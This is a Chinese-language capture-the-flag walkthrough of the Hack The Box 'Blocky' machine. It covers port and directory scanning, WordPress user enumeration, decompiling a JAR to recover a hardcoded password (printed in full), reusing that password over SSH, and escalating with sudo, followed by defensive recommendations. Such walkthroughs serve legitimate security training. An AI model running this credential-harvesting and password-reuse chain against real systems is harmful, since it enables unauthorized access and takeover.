hack the box 之blocky靶场练习
字数 1349 2025-08-11 08:35:55

Hack The Box - Blocky 靶场渗透测试教学文档

1. 靶场概述

Blocky 是一个中等难度的 Hack The Box 靶机,主要考察以下技能:

  • 端口扫描与信息收集
  • WordPress 站点枚举
  • JAR 文件反编译分析
  • 密码复用攻击
  • Linux 权限提升

2. 初始信息收集

2.1 端口扫描

使用 nmap 进行初始端口扫描:

nmap -sV -p- <target_ip>

发现开放端口:

  • 21/tcp - FTP
  • 22/tcp - SSH
  • 80/tcp - HTTP

2.2 FTP 匿名登录尝试

尝试匿名登录 FTP:

ftp <target_ip>

输入用户名 anonymous 和空密码,但登录失败。

3. Web 服务枚举

3.1 访问 HTTP 服务

直接访问 http://<target_ip> 无法访问,需要修改 hosts 文件:

echo "<target_ip> blocky.htb" | sudo tee -a /etc/hosts

3.2 目录扫描

使用工具如 dirb、gobuster 或 dirsearch 扫描目录:

gobuster dir -u http://blocky.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

发现以下重要目录:

  • /wp-login.php (WordPress 登录页面)
  • /phpmyadmin/ (phpMyAdmin 界面)
  • /plugins/ (包含 JAR 文件)

3.3 WordPress 枚举

使用 wpscan 枚举 WordPress 用户:

wpscan --url http://blocky.htb --enumerate u

发现用户:notchNotch

尝试暴力破解密码未成功。

4. JAR 文件分析

4.1 下载 JAR 文件

/plugins/ 目录下载 JAR 文件:

wget http://blocky.htb/plugins/blockycore.jar

4.2 反编译 JAR 文件

安装并使用 JD-GUI 进行反编译:

sudo apt install jd-gui
jd-gui blockycore.jar

在反编译后的代码中发现硬编码凭据:

用户名: root
密码: 8YsqfCTnvxAUeduzjNSXe22

5. 凭据利用

5.1 尝试 phpMyAdmin 登录

使用发现的凭据登录 phpMyAdmin:

URL: http://blocky.htb/phpmyadmin/
用户名: root
密码: 8YsqfCTnvxAUeduzjNSXe22

登录成功,但无法直接解密 WordPress 用户密码。

5.2 SSH 登录尝试

尝试使用相同凭据通过 SSH 登录:

ssh notch@blocky.htb
密码: 8YsqfCTnvxAUeduzjNSXe22

成功登录,确认密码复用漏洞。

6. 权限提升

6.1 检查当前权限

id
whoami

6.2 检查 sudo 权限

sudo -l

6.3 尝试直接提权

sudo su root

输入 notch 用户的密码后成功获得 root 权限。

6.4 验证 root 权限

whoami
# 应返回 root

7. 获取 Flag

7.1 查找 user flag

find / -name user.txt 2>/dev/null
cat /home/notch/user.txt

7.2 查找 root flag

find / -name root.txt 2>/dev/null
cat /root/root.txt

8. 关键知识点总结

  1. 密码复用攻击:从 JAR 文件中发现的凭据被复用于 SSH 登录
  2. 反编译技术:使用 JD-GUI 分析 Java 字节码获取敏感信息
  3. 最小权限原则违反:notch 用户可以直接通过 sudo su 提权
  4. 信息收集重要性:全面的目录扫描发现关键 JAR 文件
  5. 凭证管理不当:硬编码凭据在应用程序中

9. 防御建议

  1. 避免在代码中硬编码凭据
  2. 实施最小权限原则,限制 sudo 权限
  3. 为不同服务使用不同凭据
  4. 定期审计代码中的敏感信息
  5. 加强 WordPress 安全配置,限制用户枚举

10. 工具清单

  • nmap - 端口扫描
  • gobuster/dirsearch - 目录枚举
  • wpscan - WordPress 漏洞扫描
  • JD-GUI - Java 反编译工具
  • ssh - 远程登录

通过这个靶场,可以学习到从信息收集到权限提升的完整渗透测试流程,特别是密码复用和代码审计在实际渗透中的重要性。

Hack The Box - Blocky 靶场渗透测试教学文档 1. 靶场概述 Blocky 是一个中等难度的 Hack The Box 靶机,主要考察以下技能: 端口扫描与信息收集 WordPress 站点枚举 JAR 文件反编译分析 密码复用攻击 Linux 权限提升 2. 初始信息收集 2.1 端口扫描 使用 nmap 进行初始端口扫描: 发现开放端口: 21/tcp - FTP 22/tcp - SSH 80/tcp - HTTP 2.2 FTP 匿名登录尝试 尝试匿名登录 FTP: 输入用户名 anonymous 和空密码,但登录失败。 3. Web 服务枚举 3.1 访问 HTTP 服务 直接访问 http://<target_ ip> 无法访问,需要修改 hosts 文件: 3.2 目录扫描 使用工具如 dirb、gobuster 或 dirsearch 扫描目录: 发现以下重要目录: /wp-login.php (WordPress 登录页面) /phpmyadmin/ (phpMyAdmin 界面) /plugins/ (包含 JAR 文件) 3.3 WordPress 枚举 使用 wpscan 枚举 WordPress 用户: 发现用户: notch 和 Notch 尝试暴力破解密码未成功。 4. JAR 文件分析 4.1 下载 JAR 文件 从 /plugins/ 目录下载 JAR 文件: 4.2 反编译 JAR 文件 安装并使用 JD-GUI 进行反编译: 在反编译后的代码中发现硬编码凭据: 5. 凭据利用 5.1 尝试 phpMyAdmin 登录 使用发现的凭据登录 phpMyAdmin: 登录成功,但无法直接解密 WordPress 用户密码。 5.2 SSH 登录尝试 尝试使用相同凭据通过 SSH 登录: 成功登录,确认密码复用漏洞。 6. 权限提升 6.1 检查当前权限 6.2 检查 sudo 权限 6.3 尝试直接提权 输入 notch 用户的密码后成功获得 root 权限。 6.4 验证 root 权限 7. 获取 Flag 7.1 查找 user flag 7.2 查找 root flag 8. 关键知识点总结 密码复用攻击 :从 JAR 文件中发现的凭据被复用于 SSH 登录 反编译技术 :使用 JD-GUI 分析 Java 字节码获取敏感信息 最小权限原则违反 :notch 用户可以直接通过 sudo su 提权 信息收集重要性 :全面的目录扫描发现关键 JAR 文件 凭证管理不当 :硬编码凭据在应用程序中 9. 防御建议 避免在代码中硬编码凭据 实施最小权限原则,限制 sudo 权限 为不同服务使用不同凭据 定期审计代码中的敏感信息 加强 WordPress 安全配置,限制用户枚举 10. 工具清单 nmap - 端口扫描 gobuster/dirsearch - 目录枚举 wpscan - WordPress 漏洞扫描 JD-GUI - Java 反编译工具 ssh - 远程登录 通过这个靶场,可以学习到从信息收集到权限提升的完整渗透测试流程,特别是密码复用和代码审计在实际渗透中的重要性。